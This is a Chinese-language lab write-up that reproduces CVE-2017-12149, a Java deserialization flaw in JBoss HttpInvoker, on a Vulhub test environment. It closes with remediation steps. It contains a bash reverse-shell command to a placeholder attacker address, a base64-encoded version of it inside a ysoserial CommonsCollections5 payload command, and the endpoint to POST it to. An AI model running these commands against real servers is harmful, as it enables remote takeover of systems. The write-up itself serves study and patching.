漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker
组件中的 ReadOnlyAccessFilter
过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
复现过程
- 运行测试环境
cd /vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问 http://本机ip:8080
查看Jboss
默认页面
- 编写反弹 shell 命令
使用 bash 进行反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,需要用进行一次编码。
工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html
bash -i >& /dev/tcp/攻击机ip/监听port 0>&1
- 生成序列化数据
使用 ysoserial 来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
-
发送 POC
生成好的POC即为poc.ser
,将这个文件作为POST Body
发送至/invoker/readonly
-
成功反弹到
shell
修复方法
- 不需要 http-invoker.sar 组件的用户可直接删除此组件。
- 添加如下代码至
http-invoker.sar
下web.xml
的security-constraint
标签中,对http invoker
组件进行访问控制:/*